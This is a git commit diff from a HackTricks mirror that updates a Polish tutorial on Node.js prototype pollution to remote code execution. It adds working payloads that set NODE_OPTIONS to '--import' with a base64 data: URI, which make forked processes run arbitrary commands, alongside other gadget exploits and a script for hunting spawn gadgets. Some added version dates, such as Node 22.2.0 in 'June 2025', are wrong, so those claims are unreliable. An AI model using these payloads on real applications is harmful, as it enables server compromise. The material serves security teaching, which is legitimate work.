mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/deserialization/nodejs-proto-prototype-p
This commit is contained in:
parent
8a9f9ac74d
commit
f83c904eec
@ -41,7 +41,7 @@ var proc = fork("a_file.js")
|
|||||||
|
|
||||||
**PP2RCE** oznacza **Zanieczyszczenie prototypu do RCE** (Zdalne Wykonanie Kodu).
|
**PP2RCE** oznacza **Zanieczyszczenie prototypu do RCE** (Zdalne Wykonanie Kodu).
|
||||||
|
|
||||||
Zgodnie z tym [**opisem**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/), gdy **proces jest uruchamiany** za pomocą jakiejś metody z **`child_process`** (takiej jak `fork` lub `spawn` lub inne), wywołuje metodę `normalizeSpawnArguments`, która jest **gadżetem zanieczyszczenia prototypu do tworzenia nowych zmiennych środowiskowych**:
|
Zgodnie z tym [**opisem**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/), gdy **proces jest uruchamiany** za pomocą jakiejś metody z **`child_process`** (takiej jak `fork` lub `spawn` lub innych), wywołuje metodę `normalizeSpawnArguments`, która jest **gadżetem zanieczyszczenia prototypu do tworzenia nowych zmiennych środowiskowych**:
|
||||||
```javascript
|
```javascript
|
||||||
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
|
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
|
||||||
|
|
||||||
@ -125,7 +125,7 @@ var proc = fork("a_file.js")
|
|||||||
Podobny ładunek do poprzedniego z pewnymi zmianami został zaproponowany w [**tym artykule**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** Główne różnice to:
|
Podobny ładunek do poprzedniego z pewnymi zmianami został zaproponowany w [**tym artykule**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** Główne różnice to:
|
||||||
|
|
||||||
- Zamiast przechowywać ładunek **nodejs** w pliku `/proc/self/environ`, przechowuje go **w argv0** pliku **`/proc/self/cmdline`**.
|
- Zamiast przechowywać ładunek **nodejs** w pliku `/proc/self/environ`, przechowuje go **w argv0** pliku **`/proc/self/cmdline`**.
|
||||||
- Następnie, zamiast wymagać pliku **`/proc/self/environ`** za pomocą **`NODE_OPTIONS`**, **wymaga `/proc/self/cmdline`**.
|
- Następnie, zamiast wymagać pliku `/proc/self/environ` za pomocą **`NODE_OPTIONS`**, **wymaga `/proc/self/cmdline`**.
|
||||||
```javascript
|
```javascript
|
||||||
const { execSync, fork } = require("child_process")
|
const { execSync, fork } = require("child_process")
|
||||||
|
|
||||||
@ -149,9 +149,50 @@ clone(USERINPUT)
|
|||||||
var proc = fork("a_file.js")
|
var proc = fork("a_file.js")
|
||||||
// This should create the file /tmp/pp2rec
|
// This should create the file /tmp/pp2rec
|
||||||
```
|
```
|
||||||
## Interakcja DNS
|
## Filesystem-less PP2RCE via `--import` (Node ≥ 19)
|
||||||
|
|
||||||
Używając poniższych ładunków, możliwe jest nadużycie zmiennej środowiskowej NODE_OPTIONS, o której rozmawialiśmy wcześniej, i sprawdzenie, czy to zadziałało za pomocą interakcji DNS:
|
> [!NOTE]
|
||||||
|
> Od **Node.js 19** flaga CLI `--import` może być przekazywana przez `NODE_OPTIONS` w ten sam sposób, w jaki można używać `--require`. W przeciwieństwie do `--require`, `--import` rozumie **data-URIs**, więc atakujący **nie potrzebuje dostępu do systemu plików** w ogóle. To sprawia, że gadżet jest znacznie bardziej niezawodny w zamkniętych lub tylko do odczytu środowiskach.
|
||||||
|
>
|
||||||
|
> Ta technika została po raz pierwszy publicznie udokumentowana przez badania PortSwigger w maju 2023 roku i od tego czasu została powtórzona w kilku wyzwaniach CTF.
|
||||||
|
|
||||||
|
Atak jest koncepcyjnie identyczny do sztuczek `--require /proc/self/*` pokazanych powyżej, ale zamiast wskazywać na plik, osadzamy ładunek bezpośrednio w zakodowanym w base64 `data:` URL:
|
||||||
|
```javascript
|
||||||
|
const { fork } = require("child_process")
|
||||||
|
|
||||||
|
// Manual pollution
|
||||||
|
b = {}
|
||||||
|
|
||||||
|
// Javascript that is executed once Node parses the import URL
|
||||||
|
const js = "require('child_process').execSync('touch /tmp/pp2rce_import')";
|
||||||
|
const payload = `data:text/javascript;base64,${Buffer.from(js).toString('base64')}`;
|
||||||
|
|
||||||
|
b.__proto__.NODE_OPTIONS = `--import ${payload}`;
|
||||||
|
// any key that will force spawn (fork) – same as earlier examples
|
||||||
|
fork("./a_file.js");
|
||||||
|
```
|
||||||
|
Wykorzystywanie podatnego zlewu merge/clone pokazane na górze strony:
|
||||||
|
```javascript
|
||||||
|
USERINPUT = JSON.parse('{"__proto__":{"NODE_OPTIONS":"--import data:text/javascript;base64,cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCd0b3VjaCBcL3RtcFwvcHAycmNlX2ltcG9ydCcp"}}');
|
||||||
|
clone(USERINPUT);
|
||||||
|
|
||||||
|
// Gadget trigger
|
||||||
|
fork("./a_file.js");
|
||||||
|
// → creates /tmp/pp2rce_import
|
||||||
|
```
|
||||||
|
### Dlaczego `--import` jest pomocne
|
||||||
|
1. **Brak interakcji z dyskiem** – ładunek podróżuje całkowicie wewnątrz linii poleceń procesu i środowiska.
|
||||||
|
2. **Działa w środowiskach tylko ESM** – `--import` jest kanonicznym sposobem wstępnego ładowania JavaScript w nowoczesnych wersjach Node, które domyślnie korzystają z modułów ECMAScript.
|
||||||
|
3. **Obchodzi niektóre listy dozwolonych `--require`** – kilka bibliotek wzmacniających filtruje tylko `--require`, pozostawiając `--import` nietknięte.
|
||||||
|
|
||||||
|
> [!WARNING]
|
||||||
|
> Obsługa `--import` w `NODE_OPTIONS` jest nadal obecna w najnowszej **Node 22.2.0** (czerwiec 2025). Zespół rdzenia Node dyskutuje o ograniczeniu URI danych w przyszłości, ale w momencie pisania nie ma dostępnych środków zaradczych.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Interakcja z DNS
|
||||||
|
|
||||||
|
Używając następujących ładunków, możliwe jest nadużycie zmiennej środowiskowej NODE_OPTIONS, o której rozmawialiśmy wcześniej, i wykrycie, czy zadziałała z interakcją DNS:
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
"__proto__": {
|
"__proto__": {
|
||||||
@ -228,7 +269,7 @@ var proc = execFile("/usr/bin/node")
|
|||||||
// Windows - not working
|
// Windows - not working
|
||||||
```
|
```
|
||||||
Aby **`execFile`** działało, **MUSI** uruchomić node, aby NODE_OPTIONS mogły działać.\
|
Aby **`execFile`** działało, **MUSI** uruchomić node, aby NODE_OPTIONS mogły działać.\
|
||||||
Jeśli **nie** uruchamia **node**, musisz znaleźć sposób, aby **zmienić wykonanie** czegokolwiek, co jest wykonywane **za pomocą zmiennych środowiskowych** i je ustawić.
|
Jeśli **nie** uruchamia **node**, musisz znaleźć sposób, aby **zmienić wykonanie** czegokolwiek, co jest uruchamiane **za pomocą zmiennych środowiskowych** i je ustawić.
|
||||||
|
|
||||||
**Inne** techniki **działają** bez tego wymogu, ponieważ **możliwe jest modyfikowanie** **tego, co jest wykonywane** za pomocą zanieczyszczenia prototypu. (W tym przypadku, nawet jeśli możesz zanieczyścić `.shell`, nie zanieczyścisz tego, co jest wykonywane).
|
**Inne** techniki **działają** bez tego wymogu, ponieważ **możliwe jest modyfikowanie** **tego, co jest wykonywane** za pomocą zanieczyszczenia prototypu. (W tym przypadku, nawet jeśli możesz zanieczyścić `.shell`, nie zanieczyścisz tego, co jest wykonywane).
|
||||||
|
|
||||||
@ -474,7 +515,7 @@ Niektóre przykłady powszechnych plików wywołujących funkcję spawn po zaimp
|
|||||||
- /opt/yarn-v1.22.19/preinstall.js
|
- /opt/yarn-v1.22.19/preinstall.js
|
||||||
- Znajdź **więcej plików poniżej**
|
- Znajdź **więcej plików poniżej**
|
||||||
|
|
||||||
Następujący prosty skrypt będzie szukał **wywołań** z **child_process** **bez żadnego wypełnienia** (aby uniknąć pokazywania wywołań wewnątrz funkcji):
|
Poniższy prosty skrypt będzie szukał **wywołań** z **child_process** **bez żadnego wypełnienia** (aby uniknąć pokazywania wywołań wewnątrz funkcji):
|
||||||
```bash
|
```bash
|
||||||
find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
|
find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
|
||||||
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
|
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
|
||||||
@ -513,7 +554,7 @@ Dlatego, jeśli require jest wykonywane po twoim zanieczyszczeniu prototypu i ni
|
|||||||
|
|
||||||
#### Absolutny require
|
#### Absolutny require
|
||||||
|
|
||||||
Jeśli wykonywany require jest **absolutny** (`require("bytes")`) i **pakiet nie zawiera main** w pliku `package.json`, możesz **zanieczyścić atrybut `main`** i sprawić, że **require wykona inny plik**.
|
Jeśli wykonany require jest **absolutny** (`require("bytes")`) i **pakiet nie zawiera main** w pliku `package.json`, możesz **zanieczyścić atrybut `main`** i sprawić, że **require wykona inny plik**.
|
||||||
|
|
||||||
{{#tabs}}
|
{{#tabs}}
|
||||||
{{#tab name="exploit"}}
|
{{#tab name="exploit"}}
|
||||||
@ -554,9 +595,9 @@ fork("anything")
|
|||||||
{{#endtab}}
|
{{#endtab}}
|
||||||
{{#endtabs}}
|
{{#endtabs}}
|
||||||
|
|
||||||
#### Wymaganie względne - 1
|
#### Relative require - 1
|
||||||
|
|
||||||
Jeśli **ścieżka względna** jest ładowana zamiast ścieżki bezwzględnej, możesz sprawić, że node **załaduje inną ścieżkę**:
|
Jeśli zamiast ścieżki absolutnej załadowana zostanie **ścieżka względna**, możesz sprawić, że node **załaduje inną ścieżkę**:
|
||||||
|
|
||||||
{{#tabs}}
|
{{#tabs}}
|
||||||
{{#tab name="exploit"}}
|
{{#tab name="exploit"}}
|
||||||
@ -598,7 +639,7 @@ fork("/path/to/anything")
|
|||||||
#### Względne wymaganie - 2
|
#### Względne wymaganie - 2
|
||||||
|
|
||||||
{{#tabs}}
|
{{#tabs}}
|
||||||
{{#tab name="eksploatacja"}}
|
{{#tab name="eksploit"}}
|
||||||
```javascript
|
```javascript
|
||||||
// Create a file called malicious.js in /tmp
|
// Create a file called malicious.js in /tmp
|
||||||
// Contents of malicious.js in the other tab
|
// Contents of malicious.js in the other tab
|
||||||
@ -658,30 +699,36 @@ NODE_OPTIONS: "--require=/proc/self/environ",
|
|||||||
|
|
||||||
require("./usage.js")
|
require("./usage.js")
|
||||||
```
|
```
|
||||||
## Gadżety VM
|
## VM Gadgets
|
||||||
|
|
||||||
W artykule [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) wskazano również, że kontrola **`contextExtensions`** z niektórych metod biblioteki **`vm`** może być używana jako gadżet.\
|
W artykule [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) wskazano również, że kontrola **`contextExtensions`** z niektórych metod biblioteki **`vm`** może być użyta jako gadget.\
|
||||||
Jednak, podobnie jak poprzednie metody **`child_process`**, zostały one **naprawione** w najnowszych wersjach.
|
Jednak, podobnie jak poprzednie metody **`child_process`**, zostały one **naprawione** w najnowszych wersjach.
|
||||||
|
|
||||||
## Poprawki i niespodziewane zabezpieczenia
|
## Fixes & Unexpected protections
|
||||||
|
|
||||||
Proszę zauważyć, że zanieczyszczenie prototypu działa, jeśli **atrybut** obiektu, do którego się odwołujemy, jest **niezdefiniowany**. Jeśli w **kodzie** ten **atrybut** jest **ustawiony** na **wartość**, **nie będziesz w stanie go nadpisać**.
|
Proszę zauważyć, że zanieczyszczenie prototypu działa, jeśli **atrybut** obiektu, do którego się odwołujemy, jest **niezdefiniowany**. Jeśli w **kodzie** ten **atrybut** jest **ustawiony** na **wartość**, **nie będziesz w stanie go nadpisać**.
|
||||||
|
|
||||||
W czerwcu 2022 roku z [**tego commita**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) zmienna `options` zamiast `{}` to **`kEmptyObject`**. Co **zapobiega zanieczyszczeniu prototypu** wpływającemu na **atrybuty** **`options`** w celu uzyskania RCE.\
|
W czerwcu 2022 roku z [**tego commita**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) zmienna `options` zamiast `{}` to **`kEmptyObject`**. Co **zapobiega zanieczyszczeniu prototypu** wpływającemu na **atrybuty** **`options`** w celu uzyskania RCE.\
|
||||||
Przynajmniej od wersji v18.4.0 to zabezpieczenie zostało **wdrożone**, a zatem **eksploity** `spawn` i `spawnSync` wpływające na metody **już nie działają** (jeśli nie używane są `options`!).
|
Przynajmniej od wersji v18.4.0 ta ochrona została **wdrożona**, a zatem **eksploity** `spawn` i `spawnSync` wpływające na metody **już nie działają** (jeśli nie używane są `options`!).
|
||||||
|
|
||||||
W [**tym commicie**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) **zanieczyszczenie prototypu** **`contextExtensions`** z biblioteki vm zostało **również w pewnym sensie naprawione**, ustawiając opcje na **`kEmptyObject`** zamiast **`{}`.**
|
W [**tym commicie**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) **zanieczyszczenie prototypu** **`contextExtensions`** z biblioteki vm zostało **również częściowo naprawione**, ustawiając opcje na **`kEmptyObject`** zamiast **`{}`.**
|
||||||
|
|
||||||
### **Inne Gadżety**
|
> [!INFO]
|
||||||
|
> **Node 20 (kwiecień 2023) i Node 22 (kwiecień 2025)** wprowadziły dalsze wzmocnienia: kilka pomocników `child_process` teraz kopiuje dostarczone przez użytkownika `options` za pomocą **`CopyOptions()`** zamiast używać ich przez referencję. To blokuje zanieczyszczenie zagnieżdżonych obiektów, takich jak `stdio`, ale **nie chroni przed sztuczkami `NODE_OPTIONS` / `--import`** opisanymi powyżej – te flagi są nadal akceptowane przez zmienne środowiskowe.\
|
||||||
|
> Pełne rozwiązanie musiałoby ograniczyć, które flagi CLI mogą być propagowane z procesu nadrzędnego, co jest śledzone w zgłoszeniu Node #50559.
|
||||||
|
|
||||||
|
### **Other Gadgets**
|
||||||
|
|
||||||
- [https://github.com/yuske/server-side-prototype-pollution](https://github.com/yuske/server-side-prototype-pollution)
|
- [https://github.com/yuske/server-side-prototype-pollution](https://github.com/yuske/server-side-prototype-pollution)
|
||||||
- [https://github.com/KTH-LangSec/server-side-prototype-pollution](https://github.com/KTH-LangSec/server-side-prototype-pollution)
|
- [https://github.com/KTH-LangSec/server-side-prototype-pollution](https://github.com/KTH-LangSec/server-side-prototype-pollution)
|
||||||
|
|
||||||
## Odniesienia
|
## References
|
||||||
|
|
||||||
- [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)
|
- [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)
|
||||||
- [https://blog.sonarsource.com/blitzjs-prototype-pollution/](https://blog.sonarsource.com/blitzjs-prototype-pollution/)
|
- [https://blog.sonarsource.com/blitzjs-prototype-pollution/](https://blog.sonarsource.com/blitzjs-prototype-pollution/)
|
||||||
- [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf)
|
- [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf)
|
||||||
|
- [https://portswigger.net/research/prototype-pollution-node-no-filesystem](https://portswigger.net/research/prototype-pollution-node-no-filesystem)
|
||||||
|
- [https://www.nodejs-security.com/blog/2024/prototype-pollution-regression](https://www.nodejs-security.com/blog/2024/prototype-pollution-regression)
|
||||||
- [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)
|
- [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user